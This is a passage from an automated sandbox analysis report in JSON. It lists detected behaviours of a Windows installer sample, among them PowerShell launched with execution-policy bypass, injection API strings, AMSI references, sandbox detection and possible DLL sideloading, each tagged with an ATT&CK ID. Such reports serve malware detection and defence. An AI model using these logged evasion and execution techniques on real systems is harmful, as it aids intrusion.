-File \"%TEMP%\\\\is-0DA6D.tmp\\\\ExtractedContent.ps1\"\" (UID: 00000000-00007184)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$99","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$9a","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"LsaFreeMemory\" (Indicator: \"FreeMemory\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00004600.00000000.119924.71971000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$9b","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertFrom-StringData\"; File: \"AMSI\")\n Found string \"# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data.\" (Indicator: \"Format-Hex\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00004600.00000000.119924.005A0000.00000004.mdmp\n 00000000-00004600.00000001.120699.005A0000.00000004.mdmp\n Observed string: \"\\v4.0_3.0.0.0__31bf3856ad364e35\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00004600.00000000.119924.005A0000.00000004.mdmp\n 00000000-00004600.00000001.120699.005A0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$9c","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$9d","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetLongPathNameW@KERNEL32.DLL at 00000000-00004852-9769-96-010AD53C\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00004852-9769-175-010A842C\n Found reference to API GetThreadPreferredUILanguages@KERNEL32.DLL at 00000000-00004852-9769-211-010ACE58\n Found reference to API GetLogicalProcessorInformation@KERNEL32.DLL at 00000000-00004852-9769-216-010A710C\n Found reference to API SetDllDirectoryW@KERNEL32.DLL at 00000000-00004852-9769-3761-01147120","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00004600.00000001.120699.08930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found api reference \"CryptGetProvParam\" (Indicator: \"CryptGetProvParam\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found api reference \"CertGetCertificateChain\" (Indicator: \"CertGetCertificateChain\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found api reference \"CertFreeCertificateChain\" (Indicator: \"CertFreeCertificateChain\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found api reference \"CertCreateCertificateContext\" (Indicator: \"CertCreateCertificateContext\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004600.00000001.120699.088F0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00004600.00000001.120699.08980000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"details too long to display","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004600-00000C2C-814273661\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004600-00000C2C-815513760\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"TCCTL32.DLL\")\n file/memory contains long string(File: \"HTCTL32.DLL\")\n file/memory contains long string(File: \"is-TB3EH.tmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00004600.00000000.119924.05B00000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00004600.00000000.119924.05B00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"pcicapi.dll\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"TCCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"HTCTL32.DLL\")\n file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"is-LK116.tmp\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00004944-00000C2C-778723872\")\n Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00006444-00000C2C-829699098\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; Source: \"00000000-00006444-00000C2C-829885717\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n file/memory contains long string with (Indicator: \"AllocateAndInitializeSid\"; File: \"_setup64.tmp\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00004600-00000C2C-816904196\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"EnumServicesStatusA\" (File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found string \"QueryServiceStatus\" (File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found string \"QueryServiceConfigA\" (File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"GetEnvironmentStrings\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"GetUserObjectInformationA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"GetMonitorInfoW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00004600.00000000.119924.00C61000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$9e","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"$9f","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00004852-9769-127-010A5300\n GetTickCount@KERNEL32.DLL at 00000000-00004852-9769-1558-010B0E24","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileW@KERNEL32.DLL at 00000000-00004852-9769-57-010A51B0\n FindFirstFileW@KERNEL32.DLL at 00000000-00004852-9769-96-010AD53C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetDriveTypeW@KERNEL32.DLL at 00000000-00004852-9769-3724-01140750\n GetDriveTypeW@KERNEL32.DLL at 00000000-00004852-9769-3726-010B0D04","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00000000-00004852-9769-731-010B0D44","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.DLL at 00000000-00004852-9769-1-011473E8\n GetVersionExW@KERNEL32.DLL at 00000000-00004852-9769-196-010B0E3C\n GetVersion@KERNEL32.DLL at 00000000-00004852-9769-200-010A52F0\n GetVersion@KERNEL32.DLL at 00000000-00004852-9769-211-010ACE58\n GetVersionExW@KERNEL32.DLL at 00000000-00004852-9769-4663-010B0E34","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.DLL at 00000000-00004852-9769-62-010A5278\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00004852-9769-2828-010B0D4C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00000000-00004852-9769-2234-010B0CFC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetNativeSystemInfo@KERNEL32.DLL at 00000000-00004852-9769-1-011473E8\n GetNativeSystemInfo@KERNEL32.DLL at 00000000-00004852-9769-194-010B0E04\n GetSystemInfo@KERNEL32.DLL at 00000000-00004852-9769-210-010A52F8\n GetSystemInfo@KERNEL32.DLL at 00000000-00004852-9769-1436-010B0E0C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultUILanguage@KERNEL32.DLL at 00000000-00004852-9769-63-010A5280\n GetSystemDefaultUILanguage@KERNEL32.DLL at 00000000-00004852-9769-66-010AD3F4\n GetSystemDefaultUILanguage@KERNEL32.DLL at 00000000-00004852-9769-78-010A5288\n GetUserDefaultLangID@KERNEL32.DLL at 00000000-00004852-9769-3743-010B0E2C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00004852-9769-216-010A710C\n GetProcessHeap@KERNEL32.DLL at 00000000-00004852-9769-218-010A5360\n OpenProcessToken@ADVAPI32.DLL at 00000000-00004852-9769-3677-0113C300\n OpenProcessToken@ADVAPI32.DLL at 00000000-00004852-9769-3679-0113C3EC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Creates file in AppData directory","description":"\"powershell.exe\" writes to a file \"%APPDATA%\\installPackage.zip\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-322","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp byte ptr [0114FC10h], 00h\" and \"je 010ACED6h\" at 00000000-00004852-9769-211-010ACE58","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %APPDATA%\\SYSTEMUTIL\\HTCTL32.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry modification API: \"RegCreateKeyA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry modification API: \"RegConnectRegistryW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00004600.00000001.120699.089A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"is-QKM6E.tmp\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"client32.exe\")\n file/memory contains long string(File: \"AudioCapture.dll\")\n file/memory contains long string(File: \"remcmdstub.exe\")\n file/memory contains long string(File: \"TCCTL32.DLL\")\n file/memory contains long string(File: \"is-ENUT8.tmp\")\n file/memory contains long string(File: \"_setup64.tmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$a0","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00004852-9769-87-010A53C4\n WaitForSingleObject@KERNEL32.DLL at 00000000-00004852-9769-3487-010B0F6C\n Sleep@KERNEL32.DLL at 00000000-00004852-9769-3740-010C43DC\n MsgWaitForMultipleObjects at 00000000-00004852-9769-3757-010B0FD4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00004852-9769-51-010A5258\n LoadLibraryA@KERNEL32.DLL at 00000000-00004852-9769-2764-010AF714\n LoadLibraryW@KERNEL32.DLL at 00000000-00004852-9769-2785-010B0E94","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileA in import section (Source: PCICL32.DLL)\n Found MoveFileW in import section (Source: is-CU9QC.tmp)\n Found MoveFileW in import section (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"$a1","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$a2","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"-ExecutionPolicy Bypass -File \"%TEMP%\\\\is-4605S.tmp\\\\ExtractedContent.ps1\"\" (UID: 00000000-00004600)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$a3","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\Wldap32.dll\" at 75AA0000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$a4","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts to launch the Installer package binary","description":"Process \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" with commandline \"/SL5=\"$100306\n18032967\n815616\nC:\\\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\" (UID: 00000000-00004944)","origin":"Monitored Target","mitre_attack_id":"T1546.016","relevance":3,"id":"target-670","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"function New-TemporaryFile\" (Indicator: \"New-TemporaryFile\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp\")\n Found string \"function New-Guid\" 